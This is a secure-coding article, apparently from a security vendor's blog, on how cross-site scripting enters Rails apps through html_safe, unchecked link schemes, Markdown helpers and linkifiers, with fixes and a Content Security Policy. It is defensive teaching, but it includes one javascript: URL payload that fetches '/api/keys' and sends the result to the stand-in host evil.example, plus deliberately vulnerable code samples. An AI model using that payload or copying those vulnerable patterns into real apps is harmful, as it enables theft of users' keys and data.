Switchyard

XSS

Rails escapes your HTML until you tell it not to

ERB escapes output by default. Every XSS bug in a Rails app is somebody opting out, usually without meaning to.

On the morning of September 21, 2010, hovering your mouse over a tweet could make you retweet it. Twitter’s web front end was still a Rails app then. The code that turned URLs in tweets into links let a crafted URL close the href attribute early and slip in an onmouseover handler, so a tweet could run script for anyone whose cursor touched it, including script that retweeted itself. Within hours there were worms all over the site, and visitors to Sarah Brown’s page (wife of the UK prime minister at the time) got redirected to a porn site. Twitter had fixed the bug the month before, and a site update brought it back. Dark Reading has the timeline.

Rails has escaped <%= %> output by default since Rails 3. A <script> tag in someone’s bio renders as text and nobody has to think about it. Which is exactly why the remaining bugs are easy to miss: every one of them is a place where somebody opted out, and opting out is one method call.

The basic bug

<div class="bio">
  <%= @user.bio.html_safe %>
</div>

html_safe doesn’t make a string safe; it tells Rails the string is already safe, so Rails stops escaping it. raw and <%== do the same thing. If the string came from a user, the user now owns your page.

The basic fix

<div class="bio">
  <%= sanitize @user.bio, tags: %w[p br strong em a], attributes: %w[href] %>
</div>

If you don’t need formatting, drop html_safe and let Rails escape it. If you do, sanitize keeps an allowlist of tags and attributes and strips everything else, including javascript: hrefs.

The hardcore version

<%= link_to "Website", @user.website %>

No html_safe anywhere, and it still runs attacker code. Rails escapes the attribute, so quotes can’t break out of it, but it doesn’t care what the URL’s scheme is. Set your website to javascript:fetch('/api/keys').then(r => r.text()).then(t => location = 'https://evil.example/?' + t) and anyone who clicks your profile link sends you their data. Same goes for any href you build yourself from user data.

The Markdown version

module MarkdownHelper
  def markdown(text)
    renderer = Redcarpet::Render::HTML.new
    Redcarpet::Markdown.new(renderer, autolink: true).render(text).html_safe
  end
end

Markdown allows raw HTML by design, and Redcarpet passes it straight through unless you tell it not to. So a comment that’s mostly Markdown plus one image tag with an onerror handler renders exactly as typed, and the html_safe on the end stamps it approved. This one survives review because the reviewer sees "Markdown" and thinks "text."

module MarkdownHelper
  MARKDOWN_TAGS = %w[p br strong em a ul ol li code pre blockquote h2 h3].freeze

  def markdown(text)
    renderer = Redcarpet::Render::HTML.new(filter_html: true, safe_links_only: true)
    html = Redcarpet::Markdown.new(renderer, autolink: true).render(text)
    sanitize(html, tags: MARKDOWN_TAGS, attributes: %w[href])
  end
end

filter_html drops HTML the author typed, and safe_links_only refuses links with schemes like javascript:. Then sanitize runs over the output anyway, because the renderer’s options are one gem upgrade away from meaning something slightly different.

Keep that allowlist short and boring, too. CVE-2022-32209 was an XSS bug in rails-html-sanitizer itself that only hit apps whose custom allowlist included both select and style. Version 1.4.3 fixed it, and the fix needed a follow-up (CVE-2022-23520). Every tag you add is one more tag the sanitizer has to get exactly right.

The helper version

module NotificationsHelper
  def notification_message(notification)
    "<strong>#{notification.actor.name}</strong> commented on #{notification.subject.title}".html_safe
  end
end

Somebody wanted a bold name, and the fastest way to bold is to write the tag and call html_safe. That marks the whole string safe, interpolated user data included, so a display name with markup in it runs in the notification dropdown of everyone that person comments near. Helpers are worse than views for this, because a helper gets called from fifteen places and nobody rereads it.

module NotificationsHelper
  def notification_message(notification)
    safe_join([tag.strong(notification.actor.name), " commented on ", notification.subject.title])
  end
end

tag.strong escapes its content, and safe_join escapes every piece that isn’t already safe before it joins them. Translated strings get the same treatment if the key ends in _html: t(".commented_html", name: ...) escapes its interpolation arguments. Then grep for html_safe on any line with #{ in it. Every hit is this bug or a very close cousin.

Fix #1: Validate the scheme on write

class User < ApplicationRecord
  validates :website, format: { with: %r{\Ahttps?://}i }, allow_blank: true
end

Bad URLs never make it into the database. Anchor it with \A; a regex that only checks for http somewhere in the string accepts javascript:alert(1)//http.

Fix #2: Check again when you render

Validation only covers new writes. Rows from before the validation existed, CSV imports, API clients that call update_column, and data from a third party all skip it. So check on the way out too:

module LinksHelper
  SAFE_SCHEMES = %w[http https mailto].freeze

  def external_link(label, url)
    scheme = URI.parse(url.to_s).scheme&.downcase
    return label unless SAFE_SCHEMES.include?(scheme)

    link_to label, url, rel: "nofollow noopener", target: "_blank"
  rescue URI::InvalidURIError
    label
  end
end

Unsafe URLs render as plain, escaped text instead of a link. Use external_link anywhere the URL didn’t come from your own code.

Twitter’s bug lived in exactly this kind of code. We don’t know what theirs looked like, but the usual Rails version is a hand-rolled linkifier:

def linkify(text)
  text.gsub(URL_PATTERN) { |url| %(<a href="#{url}">#{url}</a>) }.html_safe
end

A URL with a double quote in it ends the href, and whatever comes after the quote becomes a new attribute. Build each link with the helper instead, and let safe_join escape the text between them:

def linkify(text)
  parts = text.split(/(#{URL_PATTERN})/)
  safe_join(parts.map { |part| part.match?(URL_PATTERN) ? external_link(part, part) : part })
end

link_to escapes quotes in attribute values, so a URL can’t break out of the href, and external_link refuses schemes it doesn’t know. Everything between the URLs is plain text and gets escaped like any other string.

Fix #3: A Content Security Policy that blocks inline script

Rails.application.configure do
  config.content_security_policy do |policy|
    policy.default_src :self
    policy.script_src :self
    policy.object_src :none
    policy.base_uri :self
  end

  config.content_security_policy_nonce_generator = ->(request) { SecureRandom.base64(16) }
  config.content_security_policy_nonce_directives = %w[script-src]
end

Without 'unsafe-inline' in script-src, the browser refuses inline <script> tags, onclick attributes, and javascript: URLs. That turns most XSS from "attacker runs code" into "browser logs an error." Rails generates this file for new apps with everything commented out. Uncomment it, turn on content_security_policy_report_only = true for a week to see what breaks, then enforce it.

It’s a backstop. You still fix the bug; the CSP is what saves you from the one you haven’t found yet.

Secure your Rails app today.

Find and fix critical vulnerabilities in minutes.

Inquire